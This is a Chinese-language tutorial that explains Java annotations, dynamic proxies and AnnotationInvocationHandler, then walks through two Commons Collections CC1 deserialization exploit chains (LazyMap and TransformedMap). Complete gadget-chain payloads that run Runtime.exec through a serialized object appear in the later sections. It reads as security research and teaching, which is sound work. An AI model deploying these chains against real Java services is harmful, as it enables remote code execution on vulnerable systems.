注解
Java使用@interface
来定义注解,假设要自定义一个名为@Range
的注解如下
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
public @interface Range {
int min() default 0;
int max() default 255;
}
在某个JavaBean应用@Range
public class Price {
@Range(min=1, max=20)
public String value;
}
但是此时这个注解对程序本身没有任何影响,一般我们设定@Range
是希望字段值能符合范围要求,那么这段代码需要我们自己编写
void check(Price price) throws IllegalArgumentException, ReflectiveOperationException {
for (Field field : price.getClass().getFields()) { // 遍历所有Field
Range range = field.getAnnotation(Range.class); // 获取Field定义的@Range
if (range != null) { // 如果该字段被@Range标记
Object value = field.get(price); // 获取Field的值
if (value instanceof String) { // 如果是String类型
String s = (String) value;
if (s.length() < range.min() || s.length() > range.max()) { // 判断值是否满足@Range的min/max
throw new IllegalArgumentException("Invalid field: " + field.getName());
}
}
}
}
}
注解中有一个重要的概念叫做元注解,它可以修饰其他注解,如@Target
、@Retention
、@Repeatable
、@Inherited
等。上面的Demo中用到了前两个。后两个注解应用相对较少,@Repeatable
定义注解是否可重复,@Inherited
定义子类是否可继承父类定义的注解。
(1)@Target
:定义这个注解可以应用在源码的哪些位置,根据源码的位置标记如下
类或接口:ElementType.TYPE;
字段:ElementType.FIELD;
方法:ElementType.METHOD;
构造方法:ElementType.CONSTRUCTOR;
方法参数:ElementType.PARAMETER。
假设要将注解@Report
定义在方法或字段上,标记如下
@Target({
ElementType.METHOD,
ElementType.FIELD
})
public @interface Report {
...
}
(2)@Retention
:定义注解的生命周期。分为:仅编译期RetentionPolicy.SOURCE
、仅class文件RetentionPolicy.CLASS
、运行期RetentionPolicy.RUNTIME
。如果没有标注,则默认为.CLASS
。但是一般自定义的注解都采用.RUNTIME
动态代理
Interface类型的变量是需要向上转型来创建实例的。如果想要不编写实现类直接new一个Interface就需要用到动态代理。假设接口类为Echo,类中有个call方法,其动态实现如下
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
...
}
};
Echo echo = (Echo) Proxy.newProxyInstance(
Echo.class.getClassLoader(), // 传入ClassLoader
new Class[] { Echo.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
echo.call("axisx");
所有的注解都继承自java.lang.annotation.Annotation
,读取注解需要用反射,如下:
Range range=xx.class.getAnnotation(Range.class); // range的类型为$Proxy
System.out.println(range.min());
如果在range上打个断点,在调试过程中会执行到AnnotationParser.annotationForMap()
,代码如下,完全符合上述动态代理的过程,最终得到的range也是$Proxy
类型的。
public static Annotation annotationForMap(final Class extends Annotation> var0, final Map var1) {
return (Annotation)AccessController.doPrivileged(new PrivilegedAction() {
public Annotation run() {
return (Annotation)Proxy.newProxyInstance(var0.getClassLoader(), new Class[]{var0}, new AnnotationInvocationHandler(var0, var1));
}
});
}
此时用到的InvocationHandler
类型为AnnotationInvocationHandler
。
AnnotationInvocationHandler
Range注解Demo执行到此处时,其构造函数的var1为Range
注解类,var2为@Range
赋值的键值对{"max":"20", "min":"1"}
。
另外,一般自定义注解类上都标注了@Retention(RetentionPolicy.RUNTIME)
,在这种情况下,构造函数的var1为Retention
类,var2为@Retention
的键值对{"value": {RetentionPolicy@532} }
AnnotationInvocationHandler(Class extends Annotation> var1, Map var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} ...
}
InvocationHandler
接口本身只有一个invoke方法,用于实现接口的具体功能。AnnotationInvocationHandler
是基于注解对invoke进行实现的,上面提到所有的注解都继承自Annotation
接口,Annotation
接口中一共四个方法:equals()、hashCode()、toString()、annotationType()
。所以对method名称的判断就包括这四种,如果名称不在这四个范围内,就以名称为key,从memberValues
属性中获取对应的值。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) { // 要求var2为无参方法
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
...
}
}
}
CC1 LazyMap
上面AnnotationInvocationHandler.invoke()
,调用了memberValues.get()
方法。而memberValues
是Map类型的,可以构造对LazyMap的调用。前一篇JF2中讲到Tranformer形成了命令执行的链条,后续的链条就是由LazyMap.get()
进行调用,CC1和CC6的后续是一致的。那么此时的问题就是如何调用AnnotationInvocationHandler.invoke()
private final Map memberValues;
前面提到动态代理调用接口方法时,可以自动执行invoke。那么payload整体构造思路就是:(1)创建Transformer链条,赋值给LazyMap(2)反射创建一个InvocationHandler,构造函数的Map参数,即memberValues,赋值为LazyMap(3)构造函数的Map参数赋值为动态代理(这样在readObject()
时,Map(Proxy).entrySet()
会调用到AnnotationInvocationHandler.invoke()
)
Transformer[] transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
Map hashMap=new HashMap();
Map map= LazyMap.decorate(hashMap,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler InvocationHandler=(InvocationHandler)constructor.newInstance(Retention.class,map);
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},InvocationHandler);
InvocationHandler=(InvocationHandler)constructor.newInstance(Retention.class,proxyMap);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(InvocationHandler);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
CC1 TransformedMap
另外针对AnnotationInvocationHandler还有一个链条思路,就是不走invoke,而是直接从readObject方法入手。
这里有个前置条件,CC1和CC6对于Transformer链条的衔接都用的是LazyMap,但是这个<8u71的用的是TransformedMap。二者的作用都是调用了Transformer.transform()
# LazyMap
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
# TransformedMap
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value); // return keyTransformer.transform(object);
return getMap().put(key, value); // valueTransformer.transform(object);
}
但是二者对于上层的调用构造是有区别的,TransformedMap只需要构造一个map.put("xx","xx")
即可触发,
AnnotationInvocationHandler.readObject()
代码如下,假设上面的range实例进行反序列化,var3获取的就是Range类的属性和类型,即{"min":Integer.class,"max":Integer.class}
,然后对这个Map结构进行遍历
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = AnnotationType.getInstance(this.type);
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey(); // Map的key,如range的min属性
Class var7 = (Class)var3.get(var6); // 获取min属性的类型,Integer.class
if (var7 != null) {
Object var8 = var5.getValue(); // 获取min的属性值,1
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
其中var5.setValue()
就是往Map里写入值,实际上调用的就是map.put()
。在执行到这步之前有个判断,var7!=null
,也就是在注解类中必须存在var6这个key,key就是注解中定义的方法。那么我们就需要找到一个JDK自带的通用的注解类,元注解就符合这个思路。假如选取元注解中的@Retention
,它有一个自带的方法value()
public @interface Retention {
RetentionPolicy value();
}
整体payload如下,同理其中的Retention.class
可以换成Target.class
等元注解类
Transformer[] transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
Map hashMap=new HashMap();
hashMap.put("value","axisx");
Map map=TransformedMap.decorate(hashMap,null,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler InvocationHandler=(InvocationHandler)constructor.newInstance(Retention.class,map);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(InvocationHandler);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
但是CC1存在一个限制,只适用于Java 8u71以下版本,因为在此之后AnnotationInvocationHandler#readObject
的逻辑发生了变化